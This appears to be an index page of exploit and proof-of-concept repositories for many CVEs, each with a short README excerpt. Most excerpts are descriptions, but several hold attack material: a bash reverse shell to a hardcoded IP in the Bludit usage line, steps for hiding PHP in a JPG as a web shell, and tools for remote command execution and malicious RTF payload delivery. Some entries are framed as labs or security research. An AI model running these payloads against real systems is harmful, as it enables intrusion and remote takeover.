Project-CVE-2026-33017

CVE-2026-33017 Langflow Script — Code Explanation coded by: Xer0TLabs x Persephrak Decentralized Syndicate Purpose of this document This document is a high-level explanation of the supplied Python program for review, incident-response, and defensive analysis. It intentionally does not include...

CVE-2022-30190-Follina-Lab

🔴 CVE-2022-30190 — Follina MSDT RCE Lab Researcher: Abhimanyu Rawat Role: Technical Research & Cyber Security Operations Intern Date: May 8, 2026 📌 What is Follina? CVE-2022-30190 nicknamed "Follina" is a zero-day Remote Code Execution RCE vulnerability in Microsoft Windows that allows an attacke...

poc-cve-2025-55182

CVE-2025-55182 React2Shell - Proof of Concept ⚠️ WARNING: This repository is for educational and security research purposes only. Do not use this exploit against systems you do not own or have explicit permission to test. Overview This repository contains a proof-of-concept demonstration of...

CVE_2020_35848

🧨 CVE‑2020‑35848 – Cockpit CMS 0.11.2 NoSQL Injection RCE Lab CVE‑2020‑35848 affects Agentejo Cockpit CMS versions before 0.11.2, introducing a critical NoSQL injection vulnerability in the /auth/newpassword endpoint. This flaw allows unauthenticated attackers to inject MongoDB operators into...

CVE-2024-4879

Jelly Template Injection Vulnerability in ServiceNow | POC CVE-2024-4879 Description: ServiceNow has addressed an input validation vulnerability that was identified in Vancouver and Washington, D.C. Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute...

CVE-2020-9484-exploit

CVE-2020-9484-exploit Apache Tomcat Remote code execution Before execute the script please change the ysoserial path according to your file path. ysoserial : https://github.com/frohoff/ysoserial for more reference :...

CVE-2025-24893

CVE-2025-24893 Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-24893 Explanation...

cve-2018-1273

CVE-2018-1273 Spring Data Commons RCE Remote Command Execution Vulnerability usage C:\Users\CTF\Desktoppython cve-2018-1273.py / / | / / /| |/ : touch /tmp/jas502n 405, May Have a CVE-2018-1273 vulnerability! CVE-2018-1273 Vulnerability Exit! Cmd : BurpSuite request: POST /account HTTP/1.1 Host:...

CVE-2025-27520

CVE-2025-27520 exploit for CVE-2025-27520 A Remote Code Execution RCE vulnerability caused by insecure deserialization in the latest version v1.4.2 of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This...

Inject-PHP-to-JPG-Using-Jhead

Inject-PHP-to-JPG-Using-Jhead $ pkg install vim or apt-get install vim $ pkg install jhead or apt-get install jhead $ jhead -h for help $ jhead -purejpg yourfiles.jpg $ jhead -ce yourfiles.jpg Click ESC typed :x to save $ jhead yourfiles.jpg Example : site.com/youfiles.php?cmd=Command Here...

CVE-2018-16763

Fuel CMS 1.4.1 - Remote Code Execution FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution. Install git clone https://github.com/Trushal2004/CVE-2018-16763.git cd CVE-2018-16763/ python3 -...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE 3.5.3 Remote Code Execution in Social Warfare Plugin before 3.5.3 for Wordpress. This Poc does not require running an additional HTTP Server. Just pass your local IP and the desired port and the exploit will create a server in its own thread...

CVE-2020-1947

CVE-2020-1947 Apache ShardingSphere UI YAML Parsing Remote Code Execution Vulnerability Reproduction 0x01 Download shardingsphere binary package wget https://mirror-hk.koddos.net/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz Extract root@kali...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

php-8.1.0-dev-backdoor-rce

PHP 8.1.0-dev Backdoor Remote Code Execution PHP 8.1.0-dev Backdoor System Shell Script PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by...

CVE-2016-5983

CVE-2016-5983 IBM WebSphere deserialization of untrusted data - IBM WebSphere 7,8,8.5,9 Link to Original Writeup Source: https://techblog.mediaservice.net/2016/10/cve-2016-5983-ibm-websphere-deserialization-of-untrusted-data/ Title: IBM WebSphere deserialization of untrusted data Application: IBM...

CVE-2024-27348-Apache-HugeGraph-RCE

Remote Code Execution vulnerability in Apache HugeGraph Server CVE-2024–27348 CVE-2024-27348 is a critical Remote Command Execution RCE vulnerability in Apache HugeGraph Server, a popular graph database system. The flaw resides in the Gremlin traversal language interface, which allows users to...

CVE-2026-24061-POC

CVE-2026-24061 - telnetd Authentication Bypass PoC Critical authentication bypass in telnetd leading to RCE as root Affects systems with telnetd versions containing the vulnerability from 2015 onwards About This PoC demonstrates CVE-2026-24061 , a critical authentication bypass vulnerability in...

CVE-2017-8759

Exploit tool CVE-2017-8759 Exploit tool CVE-2017-8759 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / other payload to victim...

CVE-2025-55182-advanced-scanner-

CVE-2025-55182 Scanner Simple command-line tool for detecting and exploiting CVE-2025-55182 React Server Components RCE in Next.js applications. Installation chmod +x scanner.sh Usage Scan with default command id ./scanner.sh -d example.com Execute custom command ./scanner.sh -d example.com -c...